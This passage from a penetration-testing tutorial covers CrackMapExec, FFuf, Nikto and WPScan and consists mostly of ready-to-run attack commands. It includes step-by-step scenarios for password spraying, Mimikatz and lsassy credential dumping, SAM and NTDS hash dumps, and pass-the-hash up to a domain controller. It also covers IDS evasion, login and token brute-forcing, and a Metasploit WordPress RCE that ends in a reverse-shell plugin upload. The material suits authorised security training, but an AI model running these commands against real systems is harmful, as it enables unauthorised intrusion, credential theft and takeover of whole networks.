# Popular modules:
# Get logged-on users:
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -M logged_on_users
# Check for BlueKeep vulnerability (CVE-2019-0708):
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -M bluekeep
# Check SMB signing:
crackmapexec smb 192.168.1.0/24 -M smbsigning
# Enumerate antivirus:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M enum_avproducts
# Check if host is vulnerable to EternalBlue (MS17-010):
crackmapexec smb 192.168.1.0/24 -M ms17-010
# Read LAPS passwords:
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' -M laps
# Enumerate domain users:
crackmapexec smb 192.168.1.10 -u john -p 'Welcome123!' -M enum_domain_users
# Get domain password policy:
crackmapexec smb 192.168.1.10 -u john -p 'Welcome123!' -M enum_password_policy
# Spider shares (find sensitive files):
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -M spider_plus
# Execute Mimikatz:
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M mimikatz
crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M mimikatz -o COMMAND='privilege::debug sekurlsa::logonpasswords'
Protocol 2: WinRM (Windows Remote Management)
# Check if WinRM is available:
crackmapexec winrm 192.168.1.50 -u john -p 'Welcome123!'
# [+] WinRM enabled!
# Execute command:
crackmapexec winrm 192.168.1.50 -u administrator -p 'P@ssw0rd!' -x "whoami"
# Execute PowerShell:
crackmapexec winrm 192.168.1.50 -u administrator -p 'P@ssw0rd!' -X "Get-Process"
# Spray WinRM credentials:
crackmapexec winrm 192.168.1.0/24 -u users.txt -p 'Welcome123!'
Protocol 3: MSSQL (Microsoft SQL Server)
# Enumerate MSSQL servers:
crackmapexec mssql 192.168.1.0/24 -u sa -p 'password'
# Execute SQL query:
crackmapexec mssql 192.168.1.50 -u sa -p 'password' -q "SELECT @@version"
# -q: SQL query
# Execute system command via xp_cmdshell:
crackmapexec mssql 192.168.1.50 -u sa -p 'password' -x "whoami"
# Enables xp_cmdshell → runs command
# Module: Enable xp_cmdshell:
crackmapexec mssql 192.168.1.50 -u sa -p 'password' -M mssql_priv
Protocol 4: LDAP (Lightweight Directory Access Protocol)
# Enumerate LDAP:
crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!'
# Enumerate domain users:
crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' --users
# Enumerate domain groups:
crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' --groups
# Check for AS-REP roastable users:
crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' -M asreproast
# Check for Kerberoastable users:
crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' -M kerberoast
Protocol 5: SSH
# Check SSH credentials:
crackmapexec ssh 192.168.1.0/24 -u root -p 'password'
# Execute command:
crackmapexec ssh 192.168.1.50 -u root -p 'password' -x "id"
Complete Attack Scenarios
# SCENARIO 1: Initial Access → Lateral Movement
# Step 1: Password spray (find valid creds)
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Welcome123!' --continue-on-success
# Found: john:Welcome123! works on 192.168.1.50
# Step 2: Check where john is admin
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!'
# john is NOT admin anywhere :(
# Step 3: Enumerate shares (find sensitive data)
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --shares
# Found: Backups share (READ access)
# Step 4: Spider shares (search for passwords)
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --spider Backups --pattern *.txt
# Found: passwords.txt
# Step 5: Download file
crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --get-file '\\Backups\\passwords.txt' ./passwords.txt
# Got: administrator:P@ssw0rd! (local admin password!)
# Step 6: Check if admin password works on other machines
crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' --local-auth
# Admin on: 192.168.1.50, 192.168.1.51, 192.168.1.52 (Pwn3d!)
# Step 7: Dump SAM from all admin machines
crackmapexec smb 192.168.1.50 192.168.1.51 192.168.1.52 -u administrator -p 'P@ssw0rd!' --sam --local-auth
# Dumped: All local hashes
# Step 8: Check if any hash works on other machines (pass-the-hash)
crackmapexec smb 192.168.1.0/24 -u administrator -H 'NTLM_HASH'
# Hash works on: 192.168.1.53, 192.168.1.54!
# Step 9: Eventually reach Domain Controller
crackmapexec smb 192.168.1.10 -u administrator -H 'NTLM_HASH'
# Pwn3d! Admin on DC!
# Step 10: DCSync (dump all domain hashes)
crackmapexec smb 192.168.1.10 -u administrator -H 'NTLM_HASH' --ntds
# Got: All domain hashes including krbtgt!
# SCENARIO 2: Automated Network Sweep
# One-liner to pwn entire network:
crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' -x "whoami" --shares --sam
# SCENARIO 3: Stealthy Credential Dumping
# Use lsassy module (bypasses most AV):
crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' -M lsassy
# Dumps credentials from ALL machines simultaneously!
Database Features
# CME stores ALL findings in database!
# View database:
cmedb
# Commands inside cmedb:
# Show all hosts:
hosts
# Show credentials:
creds
# Show shares:
shares
# Export to CSV:
export hosts hosts.csv
export creds creds.csv
# Clear database:
clear_database
# BEGINNER TIP:
# Database tracks: What hosts you scanned, what creds work where, what shares exist
# Useful for: Reporting, tracking progress, avoiding duplicate work
Advanced Techniques
# Threading (speed up scans):
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -t 100
# -t: Threads (default: 100, max: 256)
# Timeout settings:
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' --timeout 5
# --timeout: Connection timeout in seconds
# Only show Pwn3d! results:
crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' | grep Pwn3d
# Output to file:
crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' > results.txt
# Use with proxychains (pivot through compromised machine):
proxychains crackmapexec smb 10.10.10.0/24 -u john -p 'Welcome123!'
# Combination attacks:
# 1. Responder captures hash
# 2. Crack with Hashcat
# 3. Spray with CME:
crackmapexec smb 192.168.1.0/24 -u john -p 'CRACKED_PASSWORD'
# 4. Dump SAM from admin machines
# 5. Pass-the-hash to other machines
# 6. Repeat until Domain Admin!
FFuf (Fuzz Faster U Fool - THE Web Fuzzer)
What is FFuf? FFuf (Fuzz Faster U Fool) is a blazing-fast web fuzzer written in Go. It's designed to replace tools like wfuzz, dirbuster, and gobuster for EVERYTHING: directory brute-forcing, parameter fuzzing, vhost discovery, header injection, POST data fuzzing, and MORE! It's called "Fuzz Faster" for a reason - it's FAST!
Why FFuf? It's written in Go (multi-threaded, super fast), supports EVERY fuzzing use case (directory, subdomain, parameter, header, POST, cookie), has powerful filtering options (match/filter by status code, size, words, lines, regex), and can calibrate automatically (detects false positives). Essential for modern web pentesting!
Installation & Basic Usage
# Install (pre-installed in Kali):
sudo apt install ffuf
# Or install latest from GitHub:
go install github.com/ffuf/ffuf@latest
# Basic directory fuzzing:
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
# -u: URL with FUZZ keyword (position to inject wordlist)
# -w: Wordlist path
# Example output:
[Status: 200, Size: 1234, Words: 56, Lines: 78] http://target.com/admin
[Status: 301, Size: 178, Words: 6, Lines: 8] http://target.com/uploads
[Status: 403, Size: 277, Words: 20, Lines: 10] http://target.com/config
# BEGINNER EXPLANATION:
# FUZZ = Placeholder where wordlist entries get injected
# Status 200 = Found! (OK)
# Status 301 = Redirect (often interesting!)
# Status 403 = Forbidden (exists but no access - worth investigating!)
# Status 404 = Not found (skip)
Directory & File Fuzzing
# Fuzz directories:
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
# Fuzz files with extensions:
ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt,.js,.json,.bak,.zip
# -e: Extensions to append
# Example:
# Wordlist: admin, config, backup
# With -e .php,.txt:
# Tries: admin, admin.php, admin.txt, config, config.php, config.txt, etc.
# Fuzz both directory and file:
ffuf -u http://target.com/FUZZ/FUZ2Z -w wordlist1.txt:FUZZ -w wordlist2.txt:FUZ2Z
# Two FUZZ positions with different wordlists!
# Recursive fuzzing:
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion
# Automatically fuzzes discovered directories!
# Recursion depth:
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 3
# Max 3 levels deep
Filtering & Matching Results
# Filter by status code (hide unwanted):
ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404,403
# -fc: Filter out status codes (don't show)
# Match only specific status codes:
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302
# -mc: Match only these status codes (show ONLY these)
# Filter by response size:
ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234
# -fs: Filter out responses with size 1234 bytes
# Useful when: All 404s have same size → filter them out!
# Match by size:
ffuf -u http://target.com/FUZZ -w wordlist.txt -ms 5000-10000
# -ms: Match only sizes between 5KB-10KB
# Filter by word count:
ffuf -u http://target.com/FUZZ -w wordlist.txt -fw 20
# -fw: Filter responses with 20 words (e.g., all 404 pages say "Not Found")
# Filter by line count:
ffuf -u http://target.com/FUZZ -w wordlist.txt -fl 10
# -fl: Filter responses with 10 lines
# Filter by regex:
ffuf -u http://target.com/FUZZ -w wordlist.txt -fr "error|not found"
# -fr: Filter responses matching regex pattern
# Match by regex:
ffuf -u http://target.com/FUZZ -w wordlist.txt -mr "admin|dashboard"
# -mr: Show ONLY responses matching regex
# COMBINE FILTERS:
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200 -fs 1234 -fw 20 -fc 403
# Match: 200 status, Filter: size 1234, 20 words, 403 status
Auto-Calibration (Smart Filtering!)
# Auto-calibrate (detect false positives):
ffuf -u http://target.com/FUZZ -w wordlist.txt -ac
# -ac: Auto-calibration
# HOW IT WORKS:
# 1. FFuf sends random strings (e.g., "asdfghjkl123")
# 2. Records response size/words/lines
# 3. Automatically filters out responses matching "not found" pattern
# Example:
# All 404s return: Size 1234, 20 words, 10 lines
# With -ac: FFuf auto-filters size 1234!
# Auto-calibration with custom strategy:
ffuf -u http://target.com/FUZZ -w wordlist.txt -ac -acc 5
# -acc: Calibration accuracy (how many random requests to send)
POST Data Fuzzing
# Fuzz POST parameter value:
ffuf -u http://target.com/login -w wordlist.txt -X POST -d "username=admin&password=FUZZ"
# -X: HTTP method (POST)
# -d: POST data
# FUZZ: Where to inject wordlist
# Fuzz parameter name:
ffuf -u http://target.com/api -w wordlist.txt -X POST -d "FUZZ=test"
# Tries: username=test, password=test, token=test, etc.
# Fuzz JSON data:
ffuf -u http://target.com/api/v1/login -w wordlist.txt -X POST -d '{"username":"admin","password":"FUZZ"}' -H "Content-Type: application/json"
# -H: Custom header
# Fuzz multiple parameters:
ffuf -u http://target.com/api -w users.txt:USER -w passwords.txt:PASS -X POST -d "username=USER&password=PASS"
# Tries ALL combinations!
Header Fuzzing
# Fuzz custom header:
ffuf -u http://target.com -w wordlist.txt -H "X-Forwarded-For: FUZZ"
# Try: X-Forwarded-For: 127.0.0.1, 192.168.1.1, etc.
# Useful for: IP whitelist bypass
# Fuzz User-Agent:
ffuf -u http://target.com -w user-agents.txt -H "User-Agent: FUZZ"
# Fuzz header name:
ffuf -u http://target.com -w header-names.txt -H "FUZZ: test"
# Tries: X-Forwarded-For: test, X-Original-IP: test, etc.
# Fuzz Authorization header:
ffuf -u http://target.com/admin -w tokens.txt -H "Authorization: Bearer FUZZ"
Virtual Host (Vhost) Discovery
# Fuzz vhost (subdomain):
ffuf -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.com"
# -H "Host: FUZZ.domain": Fuzz vhost in Host header
# Filter out default vhost (false positives):
ffuf -u http://target.com -w wordlist.txt -H "Host: FUZZ.target.com" -fs 1234
# -fs: Filter default response size
# Match vhosts with different response:
ffuf -u http://10.10.10.50 -w wordlist.txt -H "Host: FUZZ.target.local" -mc 200 -ac
# -ac: Auto-calibrate to filter default responses
# BEGINNER EXPLANATION:
# Vhost = Virtual host (multiple websites on same IP)
# Example: admin.target.com, dev.target.com, api.target.com
# All point to same IP but show different content!
# Host header tells server WHICH website you want
GET Parameter Fuzzing
# Fuzz GET parameter value:
ffuf -u http://target.com/page.php?id=FUZZ -w wordlist.txt
# Fuzz parameter name:
ffuf -u http://target.com/page.php?FUZZ=test -w wordlist.txt
# Tries: ?username=test, ?id=test, ?file=test, etc.
# Fuzz multiple parameters:
ffuf -u http://target.com/page.php?FUZZ=FUZ2Z -w params.txt:FUZZ -w values.txt:FUZ2Z
# Tries ALL combinations of parameters and values!
# SQL injection fuzzing:
ffuf -u "http://target.com/page.php?id=FUZZ" -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -mc 200,500
# Look for: Status 500 (SQL error!) or 200 with different response
Cookie Fuzzing
# Fuzz cookie value:
ffuf -u http://target.com/admin -w wordlist.txt -b "session=FUZZ"
# -b: Cookie
# Fuzz cookie name:
ffuf -u http://target.com -w wordlist.txt -b "FUZZ=test"
Subdomain Enumeration
# Fuzz subdomain via DNS:
ffuf -u http://FUZZ.target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Sends requests: http://admin.target.com, http://dev.target.com, etc.
# Filter out non-existent subdomains:
ffuf -u http://FUZZ.target.com -w wordlist.txt -mc 200,301,302,403 -ac
# Fuzz subdomain via Host header (for internal networks):
ffuf -u http://10.10.10.50 -w wordlist.txt -H "Host: FUZZ.internal.local"
Speed & Performance Tuning
# Threads (concurrent requests):
ffuf -u http://target.com/FUZZ -w wordlist.txt -t 200
# -t: Threads (default: 40, increase for speed!)
# Rate limiting (requests per second):
ffuf -u http://target.com/FUZZ -w wordlist.txt -rate 100
# -rate: Max 100 requests/second (avoid triggering WAF/IDS)
# Timeout:
ffuf -u http://target.com/FUZZ -w wordlist.txt -timeout 5
# -timeout: Max 5 seconds per request
# Max time:
ffuf -u http://target.com/FUZZ -w wordlist.txt -maxtime 300
# -maxtime: Stop after 300 seconds (5 minutes)
# Max time per job:
ffuf -u http://target.com/FUZZ -w wordlist.txt -maxtime-job 60
# Stop individual fuzzing job after 60 seconds
Output & Reporting
# Save results to file:
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.txt
# -o: Output file
# Output format (JSON, CSV, HTML):
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.json -of json
# -of: Output format (json, csv, ecsv, html, md)
# Silent mode (only show results):
ffuf -u http://target.com/FUZZ -w wordlist.txt -s
# -s: Silent (no progress bar)
# Verbose mode:
ffuf -u http://target.com/FUZZ -w wordlist.txt -v
# -v: Show full URL, redirect location, etc.
Proxy & Authentication
# Use proxy (Burp Suite):
ffuf -u http://target.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080
# -x: Proxy URL
# Replay proxy (log traffic):
ffuf -u http://target.com/FUZZ -w wordlist.txt -replay-proxy http://127.0.0.1:8080
# Basic authentication:
ffuf -u http://target.com/FUZZ -w wordlist.txt -H "Authorization: Basic BASE64_CREDS"
# Ignore SSL errors:
ffuf -u https://target.com/FUZZ -w wordlist.txt -k
# -k: Ignore certificate errors
Complete Attack Scenarios
# SCENARIO 1: Full Web App Fuzzing
# Step 1: Directory fuzzing
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -mc 200,301,302,401,403 -ac -o dirs.txt
# Step 2: File fuzzing with extensions
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -e .php,.html,.txt,.js,.json,.bak,.zip -mc 200 -ac -o files.txt
# Step 3: Vhost discovery
ffuf -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.com" -ac -o vhosts.txt
# Step 4: Parameter fuzzing
ffuf -u http://target.com/page.php?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 1234 -o params.txt
# Step 5: Recursive fuzzing on interesting directories
ffuf -u http://target.com/admin/FUZZ -w wordlist.txt -recursion -recursion-depth 2 -mc 200,301
# SCENARIO 2: API Fuzzing
# Fuzz API endpoints:
ffuf -u http://api.target.com/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201 -ac
# Fuzz API parameters:
ffuf -u http://api.target.com/v1/users?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200
# Fuzz JSON body:
ffuf -u http://api.target.com/v1/login -X POST -w passwords.txt -d '{"username":"admin","password":"FUZZ"}' -H "Content-Type: application/json" -mc 200,302
# SCENARIO 3: Authentication Bypass
# Fuzz login credentials:
ffuf -u http://target.com/login -X POST -w usernames.txt:USER -w passwords.txt:PASS -d "username=USER&password=PASS" -mc 302 -fc 200
# -mc 302: Match redirects (successful login!)
# -fc 200: Filter failed logins (stay on page)
# Fuzz session tokens:
ffuf -u http://target.com/admin -w tokens.txt -b "session=FUZZ" -mc 200 -fc 302
# Fuzz JWT tokens:
ffuf -u http://target.com/api/data -w jwts.txt -H "Authorization: Bearer FUZZ" -mc 200
Best Wordlists for FFuf
# SecLists (BEST wordlist collection!):
# Install: git clone https://github.com/danielmiessler/SecLists.git
# BEST wordlists:
# 1. Directories (small/medium/large):
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt # 87,650 entries
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220,560 entries
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # 62,284 entries
# 2. Files:
/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt # 37,050 entries
/usr/share/seclists/Discovery/Web-Content/common.txt # 4,614 entries
# 3. Subdomains:
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 5,000 entries
/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt # 110,000 entries
# 4. Parameters:
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt # 6,453 entries
# 5. API endpoints:
/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt # API paths
# 6. Usernames:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt # 17 entries
/usr/share/seclists/Usernames/Names/names.txt # 10,177 entries
# 7. Passwords:
/usr/share/wordlists/rockyou.txt # 14 million passwords!
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
Nikto (THE Web Server Vulnerability Scanner)
What is Nikto? Nikto is an open-source web server scanner that tests for 6,700+ potentially dangerous files/programs, checks for outdated versions of 1,250+ servers, and scans for version-specific problems on 270+ servers. It's OLD but GOLD - been around since 2001 and still actively maintained!
Why Nikto? It's comprehensive (tests EVERYTHING), easy to use (one command!), generates detailed reports, and finds low-hanging fruit FAST. Perfect for initial web server enumeration before diving deeper with Burp/ZAP!
Installation & Basic Usage
# Install (pre-installed in Kali):
sudo apt install nikto
# Basic scan:
nikto -h http://target.com
# -h: Target host/URL
# Example output:
+ Server: Apache/2.4.41 (Ubuntu)
+ The X-XSS-Protection header is not defined
+ The X-Content-Type-Options header is not set
+ /admin/: Admin directory found
+ /config.php: Configuration file found
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.52)
+ OSVDB-3268: /test/: Directory indexing found
+ OSVDB-3092: /phpmyadmin/: phpMyAdmin found
+ 8724 requests: 0 error(s) and 45 item(s) reported on remote host
# BEGINNER EXPLANATION:
# Nikto tests 6,700+ things:
# - Dangerous files (config.php, phpinfo.php, /admin/)
# - Outdated server versions
# - Missing security headers
# - Directory indexing
# - Known vulnerabilities
Common Options & Flags
# Scan specific port:
nikto -h http://target.com:8080
nikto -h http://target.com -p 80,443,8080
# -p: Port(s) to scan
# HTTPS scan:
nikto -h https://target.com
# Automatically detects SSL/TLS
# Scan multiple hosts:
nikto -h targets.txt
# File with: One URL/IP per line
# Tuning (scan specific categories):
nikto -h http://target.com -Tuning 123
# -Tuning: Scan types (numbers 0-9, a-c, x)
# Tuning options:
# 0: File Upload
# 1: Interesting File / Seen in logs
# 2: Misconfiguration / Default File
# 3: Information Disclosure
# 4: Injection (XSS/Script/HTML)
# 5: Remote File Retrieval - Inside Web Root
# 6: Denial of Service
# 7: Remote File Retrieval - Server Wide
# 8: Command Execution / Remote Shell
# 9: SQL Injection
# a: Authentication Bypass
# b: Software Identification
# c: Remote Source Inclusion
# x: Reverse Tuning (scan everything EXCEPT specified)
# Example: Only scan for XSS and SQLi:
nikto -h http://target.com -Tuning 49
# 4 = XSS, 9 = SQLi
# Exclude tuning (scan everything EXCEPT file uploads):
nikto -h http://target.com -Tuning x0
# x0 = Everything except file uploads
# Full scan (takes longer!):
nikto -h http://target.com -Tuning 0123456789abc
Authentication & Cookies
# Basic authentication:
nikto -h http://target.com -id username:password
# -id: HTTP Basic Auth
# Cookie-based authentication:
nikto -h http://target.com -C "session=abc123; token=xyz789"
# -C: Cookie header
# Custom User-Agent:
nikto -h http://target.com -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
Output & Reporting
# Save to file:
nikto -h http://target.com -o results.txt
# -o: Output file
# Output format:
nikto -h http://target.com -o results.html -Format html
# -Format: html, xml, csv, txt
# Multiple formats:
nikto -h http://target.com -o results -Format htm,xml,csv
# Creates: results.htm, results.xml, results.csv
# JSON output (for automation):
nikto -h http://target.com -o results.json -Format json
Performance Tuning
# Timeout settings:
nikto -h http://target.com -timeout 5
# -timeout: Max 5 seconds per request
# Max scan time:
nikto -h http://target.com -maxtime 300
# -maxtime: Stop after 300 seconds (5 minutes)
# Pause between requests (avoid detection):
nikto -h http://target.com -Pause 2
# -Pause: Wait 2 seconds between requests
# Follow redirects:
nikto -h http://target.com -followredirects
# Useful when: App redirects to different URL
Proxy & Evasion
# Use proxy (Burp Suite):
nikto -h http://target.com -useproxy http://127.0.0.1:8080
# -useproxy: Proxy URL
# IDS/IPS evasion:
nikto -h http://target.com -evasion 1
# -evasion: Evasion technique number
# Evasion techniques:
# 1: Random URI encoding
# 2: Directory self-reference (/./)
# 3: Premature URL ending
# 4: Prepend long random string
# 5: Fake parameter
# 6: TAB as request spacer
# 7: Change case of URL
# 8: Use Windows directory separator (\)
# Combine multiple evasions:
nikto -h http://target.com -evasion 1247
# Uses: Techniques 1, 2, 4, and 7
# Custom headers:
nikto -h http://target.com -H "X-Forwarded-For: 127.0.0.1"
# Bypass IP restrictions
SSL/TLS Testing
# Test SSL/TLS:
nikto -h https://target.com -ssl
# -ssl: Force SSL mode
# Ignore SSL warnings:
nikto -h https://target.com -nossl
# -nossl: Don't test SSL
# Test specific SSL version:
nikto -h https://target.com -sslversion 3
# Test: SSLv3 (insecure!)
Update Nikto Database
# Update plugins and databases:
nikto -update
# Downloads: Latest vulnerability checks
# Check version:
nikto -Version
Complete Scan Examples
# SCENARIO 1: Quick scan (common vulnerabilities)
nikto -h http://target.com -Tuning 123 -o quick_scan.html -Format html
# SCENARIO 2: Full comprehensive scan
nikto -h http://target.com -Tuning 0123456789abc -o full_scan.html -Format html
# SCENARIO 3: Stealthy scan (slow, evade IDS)
nikto -h http://target.com -Pause 3 -evasion 1247 -timeout 10
# SCENARIO 4: Authenticated scan
nikto -h http://target.com -id admin:password -o auth_scan.txt
# SCENARIO 5: Scan multiple targets from file
nikto -h targets.txt -o results -Format csv
# SCENARIO 6: Scan with Burp Suite proxy (capture traffic)
nikto -h http://target.com -useproxy http://127.0.0.1:8080
# SCENARIO 7: API endpoint testing
nikto -h http://api.target.com/v1 -Tuning 123489 -C "token=abc123"
# SCENARIO 8: WordPress scan
nikto -h http://target.com/wordpress -Tuning 123 -followredirects
WPScan (THE WordPress Vulnerability Scanner)
What is WPScan? WPScan is a black box WordPress vulnerability scanner that enumerates users, themes, plugins, timthumbs, and checks for 20,000+ known WordPress vulnerabilities. WordPress powers 43% of the web - if you're pentesting, you WILL encounter WordPress!
Why WPScan? It has a database of 20,000+ WordPress vulnerabilities, automatically detects WordPress version, enumerates users/themes/plugins, performs password attacks, integrates with WPVulnDB API (real-time vulnerability data), and is written in Ruby (fast and extensible)!
Installation & Setup
# Install (pre-installed in Kali):
sudo apt install wpscan
# Or install via gem:
gem install wpscan
# Update database:
wpscan --update
# Downloads: Latest WordPress vulnerability data
# Get WPVulnDB API token (FREE - 50 requests/day):
# 1. Go to: https://wpscan.com/
# 2. Sign up for free account
# 3. Get API token from dashboard
# Use API token:
wpscan --url http://target.com --api-token YOUR_API_TOKEN
# WITH API token: Shows vulnerability details (CVEs, exploits)
# WITHOUT API token: Only shows version numbers
# Save API token (don't type it every time):
echo "api_token: YOUR_API_TOKEN" > ~/.wpscan/scan.yml
Basic WordPress Enumeration
# Basic scan:
wpscan --url http://target.com
# Detects: WordPress version, theme, plugins
# Example output:
[+] WordPress version 5.8 identified (Insecure, released on 2021-07-20)
[+] WordPress theme in use: twentytwentyone
[+] Plugins identified: contact-form-7, jetpack, woocommerce
# BEGINNER EXPLANATION:
# WordPress = CMS (Content Management System)
# Version: Older = more vulnerabilities
# Theme: Controls website design
# Plugins: Add features (also add vulnerabilities!)
# Enumerate everything:
wpscan --url http://target.com --enumerate ap,at,cb,dbe
# ap: All Plugins
# at: All Themes
# cb: Config Backups
# dbe: Database Exports
# Simpler: Enumerate common items:
wpscan --url http://target.com --enumerate vp,vt,u
# vp: Vulnerable Plugins
# vt: Vulnerable Themes
# u: Users
User Enumeration
# Enumerate users:
wpscan --url http://target.com --enumerate u
# Finds: Usernames (admin, john, etc.)
# Example output:
[i] User(s) Identified:
[+] admin
[+] john
[+] sarah
# Enumerate users (1-100):
wpscan --url http://target.com --enumerate u1-100
# Tries: IDs 1 through 100
# WHY THIS WORKS:
# WordPress exposes user IDs via: http://target.com/?author=1
# Redirects to: http://target.com/author/admin
# Reveals username: admin!
Plugin & Theme Enumeration
# Enumerate vulnerable plugins:
wpscan --url http://target.com --enumerate vp --api-token YOUR_TOKEN
# vp: Vulnerable Plugins only
# Enumerate ALL plugins:
wpscan --url http://target.com --enumerate ap
# ap: All Plugins (takes longer!)
# Enumerate vulnerable themes:
wpscan --url http://target.com --enumerate vt --api-token YOUR_TOKEN
# vt: Vulnerable Themes
# Enumerate ALL themes:
wpscan --url http://target.com --enumerate at
# Check specific plugin:
wpscan --url http://target.com --plugins-detection mixed --plugins-version-detection aggressive
# Finds: Exact plugin versions
Password Attacks
# Brute-force single user:
wpscan --url http://target.com --username admin --passwords /usr/share/wordlists/rockyou.txt
# Tries: admin:password1, admin:password2, etc.
# Brute-force multiple users:
wpscan --url http://target.com --usernames users.txt --passwords passwords.txt
# Tries: All username/password combinations
# Password spray (one password, many users):
wpscan --url http://target.com --usernames users.txt --password 'Welcome123!'
# Safer: Less likely to lock accounts
# Threads (speed up brute-force):
wpscan --url http://target.com --username admin --passwords rockyou.txt --max-threads 50
# Default: 5 threads (increase for speed!)
Detection & Evasion
# Stealthy scan (slower, harder to detect):
wpscan --url http://target.com --stealthy
# Adds: Random user-agents, delays between requests
# Random user-agent:
wpscan --url http://target.com --random-user-agent
# Custom user-agent:
wpscan --url http://target.com --user-agent "Mozilla/5.0 ..."
# Throttle requests (avoid rate limiting):
wpscan --url http://target.com --throttle 5000
# --throttle: Wait 5000ms (5 seconds) between requests
# Disable TLS checks (self-signed certificates):
wpscan --url https://target.com --disable-tls-checks
Advanced Options
# Follow redirects:
wpscan --url http://target.com --follow-redirection
# Useful when: WordPress is in subdirectory (http://target.com/blog/)
# Custom cookie (authenticated scan):
wpscan --url http://target.com --cookie "wordpress_logged_in=abc123"
# Scan as: Authenticated user (finds more!)
# Proxy through Burp Suite:
wpscan --url http://target.com --proxy http://127.0.0.1:8080
# Force scan (even if not WordPress):
wpscan --url http://target.com --force
# Check plugin vulnerabilities:
wpscan --url http://target.com --enumerate vp --plugins-detection aggressive --api-token TOKEN
Output & Reporting
# Save to file:
wpscan --url http://target.com -o results.txt
# -o: Output file
# Output format (JSON):
wpscan --url http://target.com -f json -o results.json
# -f: Format (cli, json)
# Verbose output:
wpscan --url http://target.com -v
# Shows: More details
# No banner:
wpscan --url http://target.com --no-banner
Complete Attack Scenarios
# SCENARIO 1: Full WordPress Pentest
# Step 1: Detect WordPress
wpscan --url http://target.com
# Confirms: WordPress detected!
# Step 2: Enumerate version and vulnerabilities
wpscan --url http://target.com --enumerate vp,vt --api-token YOUR_TOKEN
# Found: Vulnerable plugin (File Manager 6.0)
# Step 3: Enumerate users
wpscan --url http://target.com --enumerate u
# Found: admin, john
# Step 4: Search for exploit
searchsploit "WordPress File Manager 6.0"
# Found: RCE exploit!
# Step 5: Exploit (manual or Metasploit)
msfconsole
use exploit/unix/webapp/wp_file_manager_rce
set RHOSTS target.com
set LHOST attacker_ip
exploit
# Got shell!
# SCENARIO 2: WordPress Brute-Force
# Step 1: Enumerate users
wpscan --url http://target.com --enumerate u
# Found: admin, sarah, john
# Step 2: Password spray (try common password)
wpscan --url http://target.com --usernames users.txt --password 'Welcome123!'
# Success: john:Welcome123!
# Step 3: Login to WordPress
# Go to: http://target.com/wp-admin/
# Login: john:Welcome123!
# Step 4: Upload reverse shell plugin
# Create malicious plugin with PHP reverse shell
# Upload via: Plugins → Add New → Upload Plugin
# Step 5: Activate plugin → Get shell!
# SCENARIO 3: Quick Vulnerability Check
wpscan --url http://target.com --enumerate vp,vt,u --api-token YOUR_TOKEN -o quick_scan.txt
# One command: Checks everything!
Nuclei (THE Template-Based Vulnerability Scanner)
